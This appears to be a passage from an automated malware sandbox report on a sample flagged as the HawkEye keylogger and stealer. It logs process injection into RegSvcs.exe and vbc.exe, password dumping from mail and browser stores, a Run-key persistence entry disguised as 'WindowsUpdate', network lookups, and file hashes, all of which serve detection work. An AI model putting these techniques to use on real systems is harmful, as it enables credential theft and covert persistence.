PID 1976 wrote to memory of 2456	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
PID 1976 wrote to memory of 2456	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
PID 1976 wrote to memory of 2456	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
PID 1976 wrote to memory of 2456	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
PID 1976 wrote to memory of 2456	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
PID 1976 wrote to memory of 2456	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
PID 1976 wrote to memory of 2456	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
PID 1976 wrote to memory of 2456	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
PID 1976 wrote to memory of 2456	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
PID 1976 wrote to memory of 2456	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
PID 1976 wrote to memory of 2456	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

Processes

C:\Users\Admin\AppData\Local\Temp\2c01b007729230c415420ad641ad92eb.exe

"C:\Users\Admin\AppData\Local\Temp\2c01b007729230c415420ad641ad92eb.exe"

C:\Windows\SysWOW64\DllHost.exe

C:\Windows\SysWOW64\DllHost.exe /Processid:{76D0CB12-7604-4048-B83C-1005C7DDC503}

C:\Users\Admin\AppData\Roaming\wou\odm.exe

"C:\Users\Admin\AppData\Roaming\wou\odm.exe" kja-pex

C:\Users\Admin\AppData\Roaming\wou\odm.exe

C:\Users\Admin\AppData\Roaming\wou\odm.exe C:\Users\Admin\AppData\Roaming\wou\VHKQO

C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe

"C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"

C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe

C:\Users\Admin\AppData\Roaming\wou\VHKQO

C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext "C:\Users\Admin\AppData\Local\Temp\holdermail.txt"

C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext "C:\Users\Admin\AppData\Local\Temp\holderwb.txt"

Network

Country	Destination	Domain	Proto
US	8.8.8.8:53	whatismyipaddress.com	udp
US	104.19.222.79:80	whatismyipaddress.com	tcp
US	104.19.222.79:443	whatismyipaddress.com	tcp
US	104.19.222.79:443	whatismyipaddress.com	tcp
US	8.8.8.8:53	mail.jakartaalatkantor.com	udp

Files

memory/328-74-0x0000000003610000-0x0000000003612000-memory.dmp

memory/2508-75-0x0000000000110000-0x0000000000112000-memory.dmp

\Users\Admin\AppData\Roaming\wou\odm.exe

MD5	71d8f6d5dc35517275bc38ebcc815f9f
SHA1	cae4e8c730de5a01d30aabeb3e5cb2136090ed8d
SHA256	fb73a819b37523126c7708a1d06f3b8825fa60c926154ab2d511ba668f49dc4b
SHA512	4826f45000ea50d9044e3ef11e83426281fbd5f3f5a25f9786c2e487b4cf26b04f6f900ca6e70440644c9d75f700a4c908ab6f398f59c65ee1bff85dfef4ce59

C:\Users\Admin\AppData\Roaming\wou\zbackup- Copy.png

MD5	6285049d1e4f854943856164652da8d8
SHA1	f29c791ddb940be594bfb431eca7d4cb6d9e2688
SHA256	0aeb7e8a131b53991567db463519ea005d41ddd1f227a744d4f7066805ce684f
SHA512	2bb954a07f82c19b26d745ac19cd66e6eb82c525db0bd6e9e6880b0077465897d7fc49521d40361262c9dccdba4de6cead5b7d8dc09a9beaae2d668537097291

C:\Users\Admin\AppData\Roaming\wou\ait.ico

MD5	f6efac00916f3425d6079ae5a956df11
SHA1	3153abfe46186c1186882f67444c82c544615fb7
SHA256	1e866a8f06f125fa1c439f9cb00199be827e74b87eae12368bd1e2cf7ab28728
SHA512	0ba766d5816057941ad9afc80f7b20620b0120411357fe2b97ab0a425b32d4309396ed4866c8b23c92893ed68971c4a8a8c6f25ffa411ba0c70b602a63bd4743

C:\Users\Admin\AppData\Roaming\wou\rid.ico

MD5	a5f2dcee6a2a6047aa8fdde1ae2ce290
SHA1	7a082661c9a3431cd89ed4d9959178d60b9570f7
SHA256	7da78e767ff859970c8dae593b62f1366c2c651500eb280f0077a2245a9a8625
SHA512	e001300fc56f9bc8e9d61cb904ea6dec5ca447729015c9ff3dccc021f319fcce57ebaabb196a56f80d249dfbb88b4a0a273858cf14c7b9a93c10c9c8bc243d0a

C:\Users\Admin\AppData\Roaming\wou\VHKQO

MD5	9375872d82fbfe00eb4f6e608aa170d8
SHA1	b6d6f7059c025075141293cc0c1f80c1063ef75b
SHA256	a1b44347af8b2b2bf0409bb96e99f012035dc494ef44db409dbcd2bb726ff2e9
SHA512	f05e7f8c5d4edc6c41c0a2e4c63492a8578a4ae44e093396214fe422b90bd6e6d5fc98e1d8c4ee2253845a8b1a0bf202cd27450f641a8261d7f660b26162b863

memory/1976-98-0x0000000000400000-0x0000000000484000-memory.dmp

memory/1976-100-0x0000000000400000-0x0000000000484000-memory.dmp

memory/1976-102-0x0000000000400000-0x0000000000484000-memory.dmp

memory/1976-104-0x0000000000400000-0x0000000000484000-memory.dmp

memory/1976-106-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

memory/1976-109-0x0000000000400000-0x0000000000484000-memory.dmp

memory/1976-108-0x0000000000400000-0x0000000000484000-memory.dmp

memory/1976-107-0x0000000000400000-0x0000000000484000-memory.dmp

memory/2796-111-0x0000000000090000-0x000000000015C000-memory.dmp

memory/2796-114-0x0000000000090000-0x000000000015C000-memory.dmp

memory/2796-117-0x0000000000090000-0x000000000015C000-memory.dmp

memory/2796-115-0x0000000000090000-0x000000000015C000-memory.dmp

C:\Users\Admin\AppData\Roaming\wou\spd

MD5	098f6bcd4621d373cade4e832627b4f6
SHA1	a94a8fe5ccb19ba61c4c0873d391e987982fbbd3
SHA256	9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08
SHA512	ee26b0dd4af7e749aa1a8ee3c10ae9923f618980772e473f8819a5d4940e0db27ac185f8a0e1d5f84f88bc887fd67b143732c304cc5fa9ad8e6f57f50028a8ff

memory/392-121-0x0000000000400000-0x000000000041B000-memory.dmp

memory/392-124-0x0000000000400000-0x000000000041B000-memory.dmp

memory/392-122-0x0000000000400000-0x000000000041B000-memory.dmp

memory/392-125-0x0000000000420000-0x0000000000487000-memory.dmp

memory/392-126-0x0000000000400000-0x000000000041B000-memory.dmp

memory/2456-127-0x0000000000400000-0x0000000000458000-memory.dmp

memory/2456-130-0x0000000000400000-0x0000000000458000-memory.dmp

memory/2456-128-0x0000000000400000-0x0000000000458000-memory.dmp

memory/2456-137-0x0000000000400000-0x0000000000458000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\holderwb.txt

MD5	f3b25701fe362ec84616a93a45ce9998
SHA1	d62636d8caec13f04e28442a0a6fa1afeb024bbb
SHA256	b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
SHA512	98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Analysis: behavioral12

Detonation Overview

Submitted

2024-07-01 18:03

Reported

2024-07-01 18:15

Platform

win10v2004-20240611-en

Max time kernel

116s

Max time network

155s

Command Line

"C:\Users\Admin\AppData\Local\Temp\2c01b007729230c415420ad641ad92eb.exe"

Signatures

HawkEye

keylogger trojan stealer spyware hawkeye

NirSoft MailPassView

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A

NirSoft WebBrowserPassView

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A

Nirsoft

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A

Checks computer location settings

Description	Indicator	Process	Target
Key value queried	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000\Control Panel\International\Geo\Nation	C:\Users\Admin\AppData\Local\Temp\2c01b007729230c415420ad641ad92eb.exe	N/A

Executes dropped EXE

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	N/A

Uses the VBS compiler for execution

Accesses Microsoft Outlook accounts

collection

Description	Indicator	Process	Target
Key opened	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	N/A

Adds Run key to start application

persistence

Description	Indicator	Process	Target
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\\Users\\Admin\\AppData\\Roaming\\wou\\odm.exe C:\\Users\\Admin\\AppData\\Roaming\\wou\\kja-pex"	C:\Users\Admin\AppData\Roaming\wou\odm.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\\Users\\Admin\\AppData\\Roaming\\wou\\odm.exe C:\\Users\\Admin\\AppData\\Roaming\\wou\\kja-pex"	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A

Looks up external IP address via web service

Description	Indicator	Process	Target
N/A	whatismyipaddress.com	N/A	N/A
N/A	whatismyipaddress.com	N/A	N/A

Suspicious use of SetThreadContext

Description	Indicator	Process	Target
PID 1996 set thread context of 3100	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
PID 1996 set thread context of 1772	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
PID 3100 set thread context of 3272	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
PID 3100 set thread context of 1712	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

Enumerates physical storage devices

Program crash

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\WerFault.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
N/A	N/A	C:\Windows\SysWOW64\WerFault.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

Suspicious behavior: EnumeratesProcesses

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 2484 wrote to memory of 3148	N/A	C:\Users\Admin\AppData\Local\Temp\2c01b007729230c415420ad641ad92eb.exe	C:\Users\Admin\AppData\Roaming\wou\odm.exe
PID 2484 wrote to memory of 3148	N/A	C:\Users\Admin\AppData\Local\Temp\2c01b007729230c415420ad641ad92eb.exe	C:\Users\Admin\AppData\Roaming\wou\odm.exe
PID 2484 wrote to memory of 3148	N/A	C:\Users\Admin\AppData\Local\Temp\2c01b007729230c415420ad641ad92eb.exe	C:\Users\Admin\AppData\Roaming\wou\odm.exe
PID 3148 wrote to memory of 1996	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Users\Admin\AppData\Roaming\wou\odm.exe
PID 3148 wrote to memory of 1996	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Users\Admin\AppData\Roaming\wou\odm.exe
PID 3148 wrote to memory of 1996	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Users\Admin\AppData\Roaming\wou\odm.exe
PID 1996 wrote to memory of 3100	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
PID 1996 wrote to memory of 3100	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
PID 1996 wrote to memory of 3100	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
PID 1996 wrote to memory of 3100	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
PID 1996 wrote to memory of 3100	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
PID 1996 wrote to memory of 3100	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
PID 1996 wrote to memory of 3100	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
PID 1996 wrote to memory of 3100	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
PID 1996 wrote to memory of 1772	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
PID 1996 wrote to memory of 1772	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
PID 1996 wrote to memory of 1772	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
PID 1996 wrote to memory of 1772	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
PID 1996 wrote to memory of 1772	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
PID 3100 wrote to memory of 3272	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
PID 3100 wrote to memory of 3272	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
PID 3100 wrote to memory of 3272	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
PID 3100 wrote to memory of 3272	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
PID 3100 wrote to memory of 3272	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
PID 3100 wrote to memory of 3272	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
PID 3100 wrote to memory of 3272	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
PID 3100 wrote to memory of 3272	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
PID 3100 wrote to memory of 3272	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
PID 3100 wrote to memory of 1712	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
PID 3100 wrote to memory of 1712	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
PID 3100 wrote to memory of 1712	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
PID 3100 wrote to memory of 1712	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
PID 3100 wrote to memory of 1712	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
PID 3100 wrote to memory of 1712	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
PID 3100 wrote to memory of 1712	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
PID 3100 wrote to memory of 1712	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
PID 3100 wrote to memory of 1712	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

Processes

C:\Users\Admin\AppData\Local\Temp\2c01b007729230c415420ad641ad92eb.exe

"C:\Users\Admin\AppData\Local\Temp\2c01b007729230c415420ad641ad92eb.exe"

C:\Users\Admin\AppData\Roaming\wou\odm.exe

"C:\Users\Admin\AppData\Roaming\wou\odm.exe" kja-pex

C:\Users\Admin\AppData\Roaming\wou\odm.exe

C:\Users\Admin\AppData\Roaming\wou\odm.exe C:\Users\Admin\AppData\Roaming\wou\HXHLE

C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe

"C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"

C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe

C:\Users\Admin\AppData\Roaming\wou\HXHLE

C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext "C:\Users\Admin\AppData\Local\Temp\holdermail.txt"

C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext "C:\Users\Admin\AppData\Local\Temp\holderwb.txt"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1712 -ip 1712

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1712 -s 540

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 1712 -ip 1712

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1712 -s 564

Network

Country	Destination	Domain	Proto
US	8.8.8.8:53	8.8.8.8.in-addr.arpa	udp
US	8.8.8.8:53	13.86.106.20.in-addr.arpa	udp
US	8.8.8.8:53	80.90.14.23.in-addr.arpa	udp
US	8.8.8.8:53	g.bing.com	udp
US	204.79.197.237:443	g.bing.com	tcp
BE	88.221.83.227:443	www.bing.com	tcp
US	8.8.8.8:53	237.197.79.204.in-addr.arpa	udp
US	8.8.8.8:53	227.83.221.88.in-addr.arpa	udp
US	8.8.8.8:53	26.35.223.20.in-addr.arpa	udp
US	8.8.8.8:53	104.219.191.52.in-addr.arpa	udp
US	8.8.8.8:53	183.59.114.20.in-addr.arpa	udp
US	8.8.8.8:53	15.164.165.52.in-addr.arpa	udp
US	8.8.8.8:53	whatismyipaddress.com	udp
US	104.19.222.79:80	whatismyipaddress.com	tcp
US	104.19.222.79:443	whatismyipaddress.com	tcp
US	8.8.8.8:53	mail.jakartaalatkantor.com	udp
US	8.8.8.8:53	11.227.111.52.in-addr.arpa	udp
US	8.8.8.8:53	79.222.19.104.in-addr.arpa	udp
US	8.8.8.8:53	31.121.18.2.in-addr.arpa	udp
US	8.8.8.8:53	tse1.mm.bing.net	udp
US	150.171.28.10:443	tse1.mm.bing.net	tcp
US	150.171.28.10:443	tse1.mm.bing.net	tcp
US	150.171.28.10:443	tse1.mm.bing.net	tcp
US	150.171.28.10:443	tse1.mm.bing.net	tcp
US	150.171.28.10:443	tse1.mm.bing.net	tcp
US	8.8.8.8:53	10.28.171.150.in-addr.arpa	udp

Files

C:\Users\Admin\AppData\Roaming\wou\odm.exe

MD5	71d8f6d5dc35517275bc38ebcc815f9f
SHA1	cae4e8c730de5a01d30aabeb3e5cb2136090ed8d
SHA256	fb73a819b37523126c7708a1d06f3b8825fa60c926154ab2d511ba668f49dc4b
SHA512	4826f45000ea50d9044e3ef11e83426281fbd5f3f5a25f9786c2e487b4cf26b04f6f900ca6e70440644c9d75f700a4c908ab6f398f59c65ee1bff85dfef4ce59

C:\Users\Admin\AppData\Roaming\wou\rid.ico

MD5	a5f2dcee6a2a6047aa8fdde1ae2ce290
SHA1	7a082661c9a3431cd89ed4d9959178d60b9570f7
SHA256	7da78e767ff859970c8dae593b62f1366c2c651500eb280f0077a2245a9a8625
SHA512	e001300fc56f9bc8e9d61cb904ea6dec5ca447729015c9ff3dccc021f319fcce57ebaabb196a56f80d249dfbb88b4a0a273858cf14c7b9a93c10c9c8bc243d0a

C:\Users\Admin\AppData\Roaming\wou\HXHLE

MD5	9375872d82fbfe00eb4f6e608aa170d8
SHA1	b6d6f7059c025075141293cc0c1f80c1063ef75b
SHA256	a1b44347af8b2b2bf0409bb96e99f012035dc494ef44db409dbcd2bb726ff2e9
SHA512	f05e7f8c5d4edc6c41c0a2e4c63492a8578a4ae44e093396214fe422b90bd6e6d5fc98e1d8c4ee2253845a8b1a0bf202cd27450f641a8261d7f660b26162b863

memory/3100-89-0x0000000000400000-0x0000000000484000-memory.dmp

